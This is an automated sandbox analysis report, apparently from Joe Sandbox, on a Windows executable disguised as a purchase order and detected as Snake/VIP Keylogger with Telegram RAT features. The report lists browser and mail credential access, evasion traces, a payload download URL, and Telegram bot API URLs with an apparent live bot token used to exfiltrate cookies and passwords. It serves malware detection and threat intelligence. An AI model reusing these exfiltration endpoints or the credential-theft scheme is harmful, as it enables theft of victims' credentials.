Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594328	Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Window / User API: threadDelayed 8654			Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Window / User API: threadDelayed 1183			Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

API coverage: 0.2 %

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8080	Thread sleep count: 8654 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8080	Thread sleep count: 1183 > 30	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -599639s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -599516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -599406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -597469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -595016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -594891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -594766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -594547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -594437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe TID: 8076	Thread sleep time: -594328s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 0_2_004065DA FindFirstFileW,FindClose,	0_2_004065DA
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 0_2_004059A9 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059A9
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_00402868 FindFirstFileW,	4_2_00402868
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_004065DA FindFirstFileW,FindClose,	4_2_004065DA
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_004059A9 DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_004059A9

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599639	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598141	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596247	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594437	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Thread delayed: delay time: 594328	Jump to behavior

Source: ORDER 20240986 OA.exe, 00000000.00000002.2287296673.0000000000808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\FE
Source: ORDER 20240986 OA.exe, 00000004.00000002.2950903894.0000000007718000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: ORDER 20240986 OA.exe, 00000004.00000002.2950903894.0000000007778000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dqEmultipart/form-data; boundary=------------------------8dd0b6f4848dbcf<
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dqEmultipart/form-data; boundary=------------------------8dd0b4a7224cc3a<

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	API call chain: ExitProcess graph end node			graph_0-4503
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	API call chain: ExitProcess graph end node			graph_0-4349

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Code function: 0_2_00404243 LdrInitializeThunk,SendMessageW,

0_2_00404243

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Code function: 0_2_6FBB1B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6FBB1B63

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Process created: C:\Users\user\Desktop\ORDER 20240986 OA.exe "C:\Users\user\Desktop\ORDER 20240986 OA.exe"

Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Queries volume information: C:\Users\user\Desktop\ORDER 20240986 OA.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

0_2_0040336C

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ORDER 20240986 OA.exe PID: 7832, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000004.00000002.2970820723.0000000037CDA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ORDER 20240986 OA.exe PID: 7832, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ORDER 20240986 OA.exe PID: 7832, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ORDER 20240986 OA.exe	45%	ReversingLabs	Win32.Trojan.Generic
ORDER 20240986 OA.exe	33%	Virustotal		Browse
ORDER 20240986 OA.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://sierrassinfinusadas.com.ar/yak/ZnWGURK2.bin3	0%	Avira URL Cloud	safe
https://sierrassinfinusadas.com.ar/yak/ZnWGURK2.bin	0%	Avira URL Cloud	safe
https://sierrassinfinusadas.com.ar/yak/ZnWGURK2.bin	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.96.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
sierrassinfinusadas.com.ar	167.250.5.91	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:897506%0D%0ADate%20and%20Time:%2022/11/2024%20/%2006:52:58%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20897506%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high
https://api.telegram.org/bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553726543&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery	false		high
https://reallyfreegeoip.org/xml/8.46.123.75	false		high
http://checkip.dyndns.org/	false		high
https://sierrassinfinusadas.com.ar/yak/ZnWGURK2.bin	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553726543&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037DC3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sierrassinfinusadas.com.ar/yak/ZnWGURK2.bin3	ORDER 20240986 OA.exe, 00000004.00000002.2950903894.0000000007718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D65000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enH	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:897506%0D%0ADate%20a	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/H	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037DB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CF6000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CA8000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038F4F000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CDA000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038D1D000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E4C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	ORDER 20240986 OA.exe, 00000000.00000000.1676481705.000000000040A000.00000008.00000001.01000000.00000003.sdmp, ORDER 20240986 OA.exe, 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false		high
